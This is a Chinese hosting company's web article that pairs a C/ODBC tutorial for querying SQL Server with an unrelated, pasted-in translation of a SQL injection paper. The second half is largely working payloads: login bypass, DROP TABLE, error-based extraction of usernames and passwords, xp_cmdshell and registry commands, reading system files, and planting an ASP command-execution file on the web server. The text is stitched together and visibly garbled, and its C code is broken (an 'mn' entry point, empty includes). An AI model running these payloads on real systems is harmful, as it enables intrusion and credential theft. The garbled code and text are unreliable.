新聞中心
隨著互聯(lián)網(wǎng)技術的快速發(fā)展,數(shù)據(jù)庫這一組件在各種軟件開發(fā)過程中顯得越來越重要。對于C語言開發(fā)者來說,在應用程序中使用數(shù)據(jù)庫查詢是一種很常見的需求。而這就需要使用數(shù)據(jù)庫連接器來訪問數(shù)據(jù)庫并執(zhí)行操作。本文將一步步為大家介紹如何使用C語言連接SQL數(shù)據(jù)庫并進行查詢操作。

網(wǎng)站建設公司,為您提供網(wǎng)站建設,網(wǎng)站制作,網(wǎng)頁設計及定制網(wǎng)站建設服務,專注于企業(yè)網(wǎng)站建設,高端網(wǎng)頁制作,對地磅秤等多個行業(yè)擁有豐富的網(wǎng)站建設經(jīng)驗的網(wǎng)站建設公司。專業(yè)網(wǎng)站設計,網(wǎng)站優(yōu)化推廣哪家好,專業(yè)成都網(wǎng)站營銷優(yōu)化,H5建站,響應式網(wǎng)站。
一、首先要下載并安裝SQL Server
要想連接SQL數(shù)據(jù)庫,并從C語言編寫的程序中查詢數(shù)據(jù),首先需要在本地電腦上安裝SQL Server。SQL Server是一種常見的關系型數(shù)據(jù)庫管理系統(tǒng),它是由Microsoft開發(fā)的,可支持Windows和Linux平臺。在安裝SQL Server之前,需要確定計算機是否已安裝.NET Framework及SQL Server Native Client等依賴項。這些依賴項可以從Microsoft官方網(wǎng)站上下載并安裝。
二、在Visual Studio中創(chuàng)建新項目
要在C語言程序中使用SQL Server,需要使用Microsoft提供的ODBC API。ODBC全稱為“Open Database Connectivity”,即開放式數(shù)據(jù)庫連接,是Microsoft開發(fā)的數(shù)據(jù)庫連接API。在創(chuàng)建項目前,確保已下載并安裝Visual Studio。
1. 打開Visual Studio
2. 選擇“創(chuàng)建項目”
3. 在“新建項目”頁面上,選擇“Win32控制臺應用程序”,然后單擊“下一步”
4. 在“Win32應用程序向導”上,選擇“控制臺應用程序”,并選擇“空白項目”,勾選“空項目”,然后選擇“完成”。
三、創(chuàng)建數(shù)據(jù)庫表
在本例中,將使用C語言程序連接到一個名為“sample”的SQL Server數(shù)據(jù)庫。在這個數(shù)據(jù)庫中,我們將創(chuàng)建一個名為“customer”的新表,包含有關客戶的數(shù)據(jù)。在創(chuàng)建此表之前,需要確保已在本地計算機上安裝SQL Server和SQL Server Management Studio。
1. 啟動SQL Server Management Studio
2. 登錄到SQL Server數(shù)據(jù)庫,選擇“新建查詢”窗口
3. 在剛剛創(chuàng)建的數(shù)據(jù)庫”sample”中創(chuàng)建一個新表:
CREATE TABLE Customer
(
ID INT,
Name VARCHAR(50),
Address VARCHAR(100),
City VARCHAR(50),
State VARCHAR(50),
Zipcode INT
)
4. 在Customer表中插入一些數(shù)據(jù)以便后續(xù)測試。
INSERT INTO Customer
VALUES (1, ‘張三’, ‘北京市朝陽區(qū)’, ‘北京’, ‘北京’, 100001),
(2, ‘李四’, ‘上海市浦東新區(qū)’, ‘上?!? ‘上?!? 202301),
(3, ‘王五’, ‘深圳市南山區(qū)’, ‘深圳’, ‘廣東’, 300001),
(4, ‘劉六’, ‘成都市青羊區(qū)’, ‘成都’, ‘四川’, 400001)
四、在C語言程序中連接到數(shù)據(jù)庫并查詢數(shù)據(jù)
接下來,我們將使用ODBC API和C語言編寫一個程序,用于連接到 “sample” 數(shù)據(jù)庫中的“Customer”表,并查詢其中的所有數(shù)據(jù)。
1. 目標:查詢“sample”數(shù)據(jù)庫中“customer”表中的所有行。
2. 進行以下操作:
(1) 創(chuàng)建ODBC連接句柄
(2) 打開ODBC連接
(3) 設置ODBC語句句柄
(4) 創(chuàng)建SQL語句
(5) 執(zhí)行SQL查詢
(6) 將查詢結果讀入緩沖區(qū)
(7) 關閉ODBC連接
3. C語言代碼實現(xiàn)
#include
#include
#include
#define RETCODE SQLRETURN
int mn(int argc, char *argv[])
{
RETCODE rc;
// Allocate Environment Handle
HENV henv = SQL_NULL_HENV;
rc= SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)
{
printf(“ERROR: Unable to allocate environment handle.\n”);
return 0;
}
// Set the ODBC version for environment
rc = SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (void*)SQL_OV_ODBC3, NULL);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)
{
printf(“ERROR: Unable to set ODBC version.\n”);
return 0;
}
// Allocate Connection Handle
HDBC hdbc = SQL_NULL_HDBC;
rc = SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)
{
printf(“ERROR: Unable to allocate database handle.\n”);
return 0;
}
// Connect using SQL Server Native Client 11.0 ODBC Driver
// Change the server name here to the name of the SQL Server instance
SQLCHAR* connString = (SQLCHAR*) “DRIVER={SQL Server Native Client 11.0};SERVER=DESKTOP-8RTRGDQ\\SQLEXPRESS;DATABASE=sample;UID=XXX;PWD=YYY;”;
rc = SQLDriverConnectA(hdbc, NULL, connString, SQL_NTS, NULL, 0, NULL, SQL_DRIVER_NOPROMPT);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)
{
printf(“ERROR: Unable to connect to database.\n”);
return 0;
}
// Allocate Statement Handle
HSTMT hstmt = SQL_NULL_HSTMT;
rc = SQLAllocHandle(SQL_HANDLE_STMT, hdbc, &hstmt);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)
{
printf(“ERROR: Unable to allocate statement handle.\n”);
return 0;
}
// Execute Statement
SQLCHAR* sql = (SQLCHAR*) “SELECT * FROM Customer”;
rc = SQLExecDirectA(hstmt, sql, SQL_NTS);
if(rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)
{
printf(“ERROR: Unable to execute SQL statement.\n”);
return 0;
}
// Bind Columns to Variables
int id;
char name[50];
char address[100];
char city[50];
char state[50];
int zipcode;
printf(“ID\tName\tAddress\t\tCity\tState\tZipcode\n”);
printf(“——————————————————-\n”);
while(SQLFetch(hstmt) == SQL_SUCCESS)
{
rc = SQLGetData(hstmt, 1, SQL_C_LONG, &id, sizeof(id), NULL);
rc = SQLGetData(hstmt, 2, SQL_C_CHAR, name, sizeof(name), NULL);
rc = SQLGetData(hstmt, 3, SQL_C_CHAR, address, sizeof(address), NULL);
rc = SQLGetData(hstmt, 4, SQL_C_CHAR, city, sizeof(city), NULL);
rc = SQLGetData(hstmt, 5, SQL_C_CHAR, state, sizeof(state), NULL);
rc = SQLGetData(hstmt, 6, SQL_C_LONG, &zipcode, sizeof(zipcode), NULL);
printf(“%d\t%s\t%s\t%s\t%s\t%d\n”, id, name, address, city, state, zipcode);
}
// Free Statement Handle
rc = SQLFreeHandle(SQL_HANDLE_STMT, hstmt);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)
{
printf(“ERROR: Unable to free statement handle.\n”);
return 0;
}
//Disconnect the databse
rc = SQLDisconnect(hdbc);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)
{
printf(“ERROR: Unable to disconnect the database.\n”);
return 0;
}
//Free the Connection Handle
rc = SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)
{
printf(“ERROR: Unable to free database handle.\n”);
return 0;
}
//Free the Environment Handle
rc = SQLFreeHandle(SQL_HANDLE_ENV, henv);
if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)
{
printf(“ERROR: Unable to free environment handle.\n”);
return 0;
}
return 1;
}
五、編譯并執(zhí)行代碼
在Visual Studio中編譯代碼并執(zhí)行,結果如下所示:
ID Name Address City State Zipcode
——————————————————-
1 張三 北京市朝陽區(qū) 北京 北京 100001
2 李四 上海市浦東新區(qū) 上海 上海 202301
3 王五 深圳市南山區(qū) 深圳 廣東 300001
4 劉六 成都市青羊區(qū) 成都 四川 400001
六、
相關問題拓展閱讀:
- 如何使用vc6.0和sql2023進行連接和數(shù)據(jù)庫操作(查詢插入更新刪除),更好舉例
如何使用vc6.0和sql2023進行連接和數(shù)據(jù)庫操作(查詢插入更新刪除),更好舉例
這份文檔是詳細討論SQL注入技術,它適應于比較流行的IIS+ASP+SQLSERVER平臺。它討論了哪些SQL語句能通過各種各樣的方法注入到應用程序中,并且記錄與攻擊相關的數(shù)據(jù)確認和數(shù)據(jù)庫鎖定。
這份文檔的預期讀者為與數(shù)據(jù)庫通信的WEB程序的開發(fā)者和那些扮演審核WEB應用程序的安全專家。
介紹:
SQL是一種用于關系數(shù)據(jù)庫的結構化查詢語言。它分為許多種,但大多數(shù)都松散地基于美國國家標準化組織最新的標準SQL-92。典型的執(zhí)核彎隱行語句是query,它能夠收集比較有達標性的記錄并返回一個單一的結果集。SQL語言可以修改數(shù)據(jù)庫結構(數(shù)據(jù)定義語言)和操作數(shù)據(jù)庫內(nèi)容(數(shù)據(jù)操作語言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語言。
當一個攻擊者能夠通過往query中插入一系列的sql語句來操作數(shù)據(jù)寫入到應用程序中去,我們管這種方法定義成SQL注入。
一個典型的SQL語句如下:
Select id,forename,surname from authors
這條語句將返回authors表中所有行的id,forename和surname列。這個結果可以被限制,例如:
Select id,forename,surname from authors where forename’john’ and surname=’ith’
需要著重指明的是字符串’john’和’ith’被單引號限制。明確的說,forename和surname字段是被用戶提供的輸入限制的,攻擊者可以通過輸入值來往這個查詢中注入一些SQL語句,
如下:
Forename:jo’hn
Surname:ith
查詢語句變?yōu)?
Select id,forename,surname from authors where forename=’jo’hn’ and surname=’ith’
當數(shù)據(jù)庫試圖去執(zhí)行這個查詢時,它將返回如下錯誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near ‘hn’
造成這種結果的原因是插入了.作為定界符的單引號。數(shù)據(jù)庫嘗試去執(zhí)行’hn’,但是失敗。如果攻擊者提供特別的輸入如:
Forename:jo’;drop table authors—
Surname:
結果是authors表被刪除,造成這種結果的原因我們稍后再講。
看上去好象通過從輸入中去掉單引號或者通過某些方法避免它們都可以解決這個問題。這是可行的,但是用這種方法做解決方法會存在幾個困難。之一,并不是所有用戶提供的數(shù)據(jù)都是字符串。如果用戶輸入的是通過用戶id來查詢author,那我們的查詢應該像這樣:
Select id,forename,surname from authors where id=1234
在這種情況下,一個攻擊者可以非常簡單地在數(shù)字的結尾添加SQL語句,在其他版本的SQL語言中,使用各種各樣的限定符號;在數(shù)據(jù)庫管理系統(tǒng)JET引擎中,數(shù)據(jù)可以被使用’#’限定。第二,避免單引號盡管看上去可以,但是是改廳沒必要的鬧沖,原因我們稍后再講。
我們更進一步地使用一個簡單的ASP登陸頁面來指出哪些能進入SQLSERVER數(shù)據(jù)庫并且嘗試鑒別進入一些虛構的應用程序的權限。
這是一個提交表單頁的代碼,讓用戶輸入用戶名和密碼:
Login Page
Login
Username:
Password:
下面是process_login.asp的代碼,它是用來控制登陸的:
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
ACCESS DENIED
ACCESS GRANTED
Welcome, ” ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( “ADODB.Connection” );
cn.connectiontimeout = 20;
cn.open( “l(fā)ocalserver”, “sa”, “password” );
username = new String( Request.form(“username”) );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出現(xiàn)問題的地方是process_lgin.asp中產(chǎn)生查詢語句的部分:
Var sql=”select * from users where username='”+username+”‘ and password='”+password+”‘”;
如果用戶輸入的信息如下:
Username:’;drop table users—
Password:
數(shù)據(jù)庫中表users將被刪除,拒絕任何用戶進入應用程序?!栐赥ransact-SQL中表示忽略’—’以后的語句,’;’符號表示一個查詢的結束和另一個查詢的開始?!挥趗sername字段中是必須的,它為了使這個特殊的查詢終止,并且不返回錯誤。
攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:
Username:admin’—
攻擊者可以使用users表中之一個用戶,輸入如下:
Username:’ or 1=1—
更特別地,攻擊者可以使用完全虛構的用戶登陸,輸入如下:
Username:’ union select 1,’fictional_user’,’some_password’,1—
這種結果的原因是應用程序相信攻擊者指定的是從數(shù)據(jù)庫中返回結果的一部分。
通過錯誤消息獲得信息
這個幾乎是David Litchfield首先發(fā)現(xiàn)的,并且通過作者滲透測試的;后來David寫了一份文檔,后來作者參考了這份文檔。這些解釋討論了‘錯誤消息‘潛在的機制,使讀者能夠完全地了解它,潛在地引發(fā)他們的能力。
為了操作數(shù)據(jù)庫中的數(shù)據(jù),攻擊者必須確定某些數(shù)據(jù)庫和某些表的結構。例如我們可以使用如下語句創(chuàng)建user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后將下面的用戶插入到users表中:
Insert into users values(0,’admin’,’r00tr0x!’,0xffff)
Insert into users values(0,’guest’,’guest’,0x0000)
Insert into users values(0,’chris’,’password’,0x00ff)
Insert into users values(0,’fred’,’sesame’,0x00ff)
如果我們的攻擊者想插入一個自己的用戶。在不知道users表結構的情況下,他不可能成功。即使他比較幸運,至于privs字段不清楚。攻擊者可能插入一個’1’,這樣只給他自己一個低權限的用戶。
幸運地,如果從應用程序(默認為ASP行為)返回錯誤消息,那么攻擊者可以確定整個數(shù)據(jù)庫的結構,并且可以以程序中連接SQLSERVER的權限度曲任何值。
(下面以一個簡單的數(shù)據(jù)庫和asp腳本來舉例說明他們是怎么工作的)
首先,攻擊者想獲得建立用戶的表的名字和字段的名字,要做這些,攻擊者需要使用select語法的having子句:
Username:’ having 1=1—
這樣將會出現(xiàn)如下錯誤:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
Column ‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此現(xiàn)在攻擊者知道了表的名字和之一個地段的名字。他們?nèi)匀豢梢酝ㄟ^把字段放到group by子句只能感去找到一個一個字段名,如下:
Username:’ group by users.id having 1=1—
出現(xiàn)的錯誤如下:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
Column ‘users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最終攻擊者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
這句話并不產(chǎn)生錯誤,相當于:
select * from users where username=”
因此攻擊者現(xiàn)在知道查詢涉及users表,按順序使用列’id,username,password,privs’。
能夠確定每個列的類型是非常有用的。這可以通過使用類型轉化來實現(xiàn),例如:
Username:’ union select sum(username) from users—
這利用了SQLSERVER在確定兩個結果集的字段是否相等前應用sum子句。嘗試去計算sum會得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
這告訴了我們’username’字段的類型是varchar。如果是另一種情況,我們嘗試去計算sum()的是數(shù)字類型,我們得到的錯誤消息告訴我們兩個的字段數(shù)量不相等。
Username:’ union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我們可以用這種技術近似地確定數(shù)據(jù)庫中任何表中的任何字段的類型。
這樣攻擊者就可以寫一個好的insert查詢,例如:
Username:’;insert into users values(666,’attacker’,’foobar’,’0xffff)—
這種技術的潛在影響不僅僅是這些。攻擊者可以利用這些錯誤消息顯示環(huán)境信息或數(shù)據(jù)庫。通過運行一列一定格式的字符串可以獲得標準的錯誤消息:
select * from master ..syessages
解釋這些將實現(xiàn)有趣的消息。
一個特別有用的消息關系到類型轉化。如果你嘗試將一個字符串轉化成一個整型數(shù)字,那么字符串的所有內(nèi)容會返回到錯誤消息中。例如在我們簡單的登陸頁面中,在username后面會顯示出SQLSERVER的版本和所運行的操作系統(tǒng)信息:
Username:’ union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the nvarchar value ‘Microsoft SQL Server.00.194 (Intel X86) Aug:57:48 Copyright (c)Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of data type int.
/process_login.asp, line 35
這句嘗試去將內(nèi)置的’@@version’常量轉化成一個整型數(shù)字,因為users表中的之一列是整型數(shù)字。
這種技術可以用來讀取數(shù)據(jù)庫中任何表的任何值。自從攻擊者對用戶名和用戶密碼比較感興趣后,他們比較喜歡去從users表中讀取用戶名,例如:
Username:’ union select min(username),1,1,1 from users where username>’a’—
這句選擇users表中username大于’a’中的最小值,并試圖把它轉化成一個整型數(shù)字:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘a(chǎn)dmin’ to a column of data type int.
/process_login.asp, line 35
因此攻擊者已經(jīng)知道用戶admin是存在的。這樣他就可以重復通過使用where子句和查詢到的用戶名去尋找下一個用戶。
Username:’ union select min(username),1,1,1 from users where username>’admin’—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘chris’ to a column of data type int.
/process_login.asp, line 35
一旦攻擊者確定了用戶名,他就可以開始收集密碼:
Username:’ union select password,1,1,1 from users where username=’admin’—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘r00tr0x!’ to a column of data type int.
/process_login.asp, line 35
一個更高級的技術是將所有用戶名和密碼連接長一個單獨的字符串,然后嘗試把它轉化成整型數(shù)字。這個例子指出:Transavt-SQL語法能夠在不改變相同的行的意思的情況下把它們連接起來。下面的腳本將把值連接起來:
begin declare @ret varchar(8000)
set @ret=’:’
select @ret=@ret+’ ‘+username+’/’+password from users where
username>@ret
select @ret as ret into foo
end
攻擊者使用這個當作用戶名登陸(都在一行)
Username: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+username+’/’+password from users where username>@ret select @ret as ret into foo end—
這就創(chuàng)建了一個foo表,里面只有一個單獨的列’ret’,里面存放著我們得到的用戶名和密碼的字符串。正常情況下,一個低權限的用戶能夠在同一個數(shù)據(jù)庫中創(chuàng)建表,或者創(chuàng)建臨時數(shù)據(jù)庫。
然后攻擊者就可以取得我們要得到的字符串:
Username:’ union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
Syntax error converting the varchar value ‘: admin/r00tr0x! guest/guest chris/password fred/sesame’ to a column of data type int.
/process_login.asp, line 35
然后丟棄(刪除)表來清楚腳印:
Username:’; drop table foo—
這個例子僅僅是這種技術的一個表面的作用。沒必要說,如果攻擊者能夠從數(shù)據(jù)庫中獲得足夠的錯誤西,他們的工作就變的無限簡單。
獲得更高的權限
一旦攻擊者控制了數(shù)據(jù)庫,他們就想利用那個權限去獲得網(wǎng)絡上更高的控制權。這可以通過許多途徑來達到:
1. 在數(shù)據(jù)庫服務器上,以SQLSERVER權限利用xp_cmdshell擴展存儲過程執(zhí)行命令。
2. 利用xp_regread擴展存儲過程去讀注冊表的鍵值,當然包括SAM鍵(前提是SQLSERVER是以系統(tǒng)權限運行的)
3. 利用其他存儲過程去改變服務器
4. 在連接的服務器上執(zhí)行查詢
5. 創(chuàng)建客戶擴展存儲過程去在SQLSERVER進程中執(zhí)行溢出代碼
6. 使用’bulk insert’語法去讀服務器上的任意文件
7. 使用bcp在服務器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲過程去創(chuàng)建ActiveX應用程序,使它能做任何ASP腳本可以做的事情
這些只列舉了非常普通的可能攻擊方法的少量,攻擊者很可能使用其它方法。我們介紹收集到的攻擊關于SQL服務器的明顯攻擊方法,為了說明哪方面可能并被授予權限去注入SQL.。我們將依次處理以上提到的各種方法:
許多存儲過程被創(chuàng)建在SQLSERVER中,執(zhí)行各種各樣的功能,例如發(fā)送電子郵件和與注冊表交互。
Xp_cmdshell是一個允許執(zhí)行任意的命令行命令的內(nèi)置的存儲過程。例如:
Exec master..xp_cmdshell ‘dir’
將獲得SQLSERVER進程的當前工作目錄中的目錄列表。
Exec master..xp_cmdshell ‘net user’
將提供服務器上所有用戶的列表。當SQLSERVER正常以系統(tǒng)帳戶或域帳戶運行時,攻擊者可以做出更嚴重的危害。
另一個有用的內(nèi)置存儲過程是xp_regXXXX類的函數(shù)。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
這些函數(shù)的使用方法舉例如下:
exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’
這將確定什么樣的會話連接在服務器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
這將顯示服務器上所有SNMP團體配置。在SNMP團體很少被更改和在許多主機間共享的情況下,有了這些信息,攻擊者或許會重新配置同一網(wǎng)絡中的網(wǎng)絡設備。
這很容易想象到一個攻擊者可以利用這些函數(shù)讀取SAM,修改系統(tǒng)服務的配置,使它下次機器重啟時啟動,或在下次任何用戶登陸時執(zhí)行一條任意的命令。
xp_servicecontrol過程允許用戶啟動,停止,暫停和繼續(xù)服務:
exec master..xp_servicecontrol ‘start’,’schedule’
exec master..xp_servicecontrol ‘start’,’server’
下表中列出了少量的其他有用的存儲過程:
Xp_availablemedia 顯示機器上有用的驅動器
Xp_dirtree 允許獲得一個目錄樹
Xp_enumdsn 列舉服務器上的ODBC數(shù)據(jù)源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允許用戶在服務器上創(chuàng)建一個壓縮文件
Xp_ntsec_enumdomains 列舉服務器可以進入的域
Xp_terminate_process 提供進程的進程ID,終止此進程
SQL SERVER提供了一種允許服務器連接的機制,也就是說允許一臺數(shù)據(jù)庫服務器上的查詢能夠操作另一臺服務器上的數(shù)據(jù)。這個鏈接存放在master.sysservers表中。如果一個連接的服務器已經(jīng)被設置成使用’sp_addlinkedsrvlogin’過程,當前可信的連接不用登陸就可以訪問到服務器?!痮penquery’函數(shù)允許查詢脫離服務器也可以執(zhí)行。
擴展存儲過程應用程序接口是相當簡單的,創(chuàng)建一個攜帶惡意代碼的擴展存儲過程動態(tài)連接庫是一個相當簡單的任務。使用命令行有幾個方法可以上傳動態(tài)連接庫到SQL服務器上,還有其它包括了多種自動通訊的通訊機制,比如HTTP下載和FTP腳本。
一旦動態(tài)連接庫文件在機器上運行即SQL服務器能夠被訪問——這不需要它自己是SQL服務器——攻擊者就能夠使用下面的命令添加擴展存儲過程(這種情況下,我們的惡意存儲過程就是一個能輸出服務器的系統(tǒng)文件的小的木馬):
Sp_addextendedproc ‘xp_webserver’,’c:\temp\xp_foo.dll’
在正常的方式下,這個擴展存儲過程可以被運行:
exec xp_webserver
一旦這個程序被運行,可以使用下面的方法將它除去:
xp_dropextendedproc ‘xp_webserver’
使用’bulk insert’語法可以將一個文本文件插入到一個臨時表中。簡單地創(chuàng)建這個表:
create table foo( line varchar(8000) )
然后執(zhí)行bulk insert操作把文件中的數(shù)據(jù)插入到表中,如:
bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’
可以使用上述的錯誤消息技術,或者使用’union’選擇,使文本文件中的數(shù)據(jù)與應用程序正常返回的數(shù)據(jù)結合,將數(shù)據(jù)取回。這個用來獲取存放在數(shù)據(jù)庫服務器上的腳本源代碼或者ASP腳本代碼是非常有用的。
使用’bulk insert’的相對技術可以很容易建立任意的文本文件。不幸的是這需要命令行工具?!痓cp’,即’bulk copy program’
既然 bcp可以從SQL服務進程外訪問數(shù)據(jù)庫,它需要登陸。這代表獲得權限不是很困難,既然攻擊者能建立,或者利用整體安全機制(如果服務器配置成可以使用它)。
命令行格式如下:
bcp “select * from text..foo” queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
‘S’參數(shù)為執(zhí)行查詢的服務器,’U’參數(shù)為用戶名,’P’參數(shù)為密碼,這里為’foobar’
SQL SERVER中提供了幾個內(nèi)置的允許創(chuàng)建ActiveX自動執(zhí)行腳本的存儲過程。這些腳本和運行在windows腳本解釋器下的腳本,或者ASP腳本程序一樣——他們使用VBScript或JavaScript書寫,他們創(chuàng)建自動執(zhí)行對象并和它們交互。一個自動執(zhí)行腳本使用這種方法書寫可以在Transact-SQL中做任何在ASP腳本中,或者WSH腳本中可以做的任何事情。為了闡明這鞋,這里提供了幾個例子:
(1)這個例子使用’wscript.shell’對象建立了一個記事本的實例:
wscript.shell example
declare @o int
exec sp_oacreate ‘wscript.shell’,@o out
exec sp_oamethod @o,’run’,NULL,’notepad.exe’
我們可以通過指定在用戶名后面來執(zhí)行它:
Username:’; declare @o int exec sp_oacreate ‘wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’—
(2)這個例子使用’scripting.filesystemobject’對象讀一個已知的文本文件:
–scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:\boot.ini’, 1
exec @ret=sp_oamethod @f,’readline’,@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,’readline’,@line out
end
(3)這個例子創(chuàng)建了一個能執(zhí)行通過提交到的任何命令:
— scripting.filesystemobject example – create a ‘run this’.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate ‘scripting.filesystemobject’,@o out
exec sp_oamethod @o,’createtextfile’,@f out,’c:\inetpub\wwwroot\foo.asp’,1
exec @ret=sp_oamethod @f,’writeline’,NULL,”
需要指出的是如果運行的環(huán)境是WIN NT4+IIS4平臺上,那么通過這個程序運行的命令是以系統(tǒng)權限運行的。在IIS5中,它以一個比較低的權限IWAM_XXXaccount運行。
(4)這些例子闡述了這個技術的適用性;它可以使用’speech.voicetext’對象引起SQL SERVER發(fā)聲:
declare @o int,@ret int
exec sp_oacreate ‘speech.voicetext’,@o out
exec sp_oamethod @o,’register’,NULL,’foo’,’bar’
exec sp_oasetproperty @o,’speed’,150
exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to,us’,528
waitfor delay ’00:00:05′
我們可以在我們假定的例子中,通過指定在用戶名后面來執(zhí)行它(注意這個例子不僅僅是注入一個腳本,同時以admin權限登陸到應用程序):
Username:admin’;declare @o int,@ret int exec sp_oacreate ‘speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to us’,528 waitfor delay ’00:00:05′–
傳說如果一個ASP應用程序在數(shù)據(jù)庫中使用了存儲過程,那么SQL注入是不可能的。這句話只對了一半,這要看ASP腳本中調(diào)用這個存儲過程的方式。
本質上,如果一個有參數(shù)的查詢被執(zhí)行 ,并且用戶提供的參數(shù)通過安全檢查才放入到查詢中,那么SQL注入明顯是不可能發(fā)生的。但是如果攻擊者努力影響所執(zhí)行查詢語句的非數(shù)據(jù)部分,這樣他們就可能能夠控制數(shù)據(jù)庫。
比較好的常規(guī)的標準是:
· 如果一個ASP腳本能夠產(chǎn)生一個被提交的SQL查詢字符串,即使它使用了存儲過程也是能夠引起SQL注入的弱點。
關于c 實現(xiàn)連接sql數(shù)據(jù)庫查詢的介紹到此就結束了,不知道你從中找到你需要的信息了嗎 ?如果你還想了解更多這方面的信息,記得收藏關注本站。
香港服務器選創(chuàng)新互聯(lián),2H2G首月10元開通。
創(chuàng)新互聯(lián)(www.cdcxhl.com)互聯(lián)網(wǎng)服務提供商,擁有超過10年的服務器租用、服務器托管、云服務器、虛擬主機、網(wǎng)站系統(tǒng)開發(fā)經(jīng)驗。專業(yè)提供云主機、虛擬主機、域名注冊、VPS主機、云服務器、香港云服務器、免備案服務器等。
本文標題:C語言實現(xiàn)連接SQL數(shù)據(jù)庫查詢——一步步教您完成!(c實現(xiàn)連接sql數(shù)據(jù)庫查詢)
分享URL:http://fisionsoft.com.cn/article/cccpoip.html


咨詢
建站咨詢
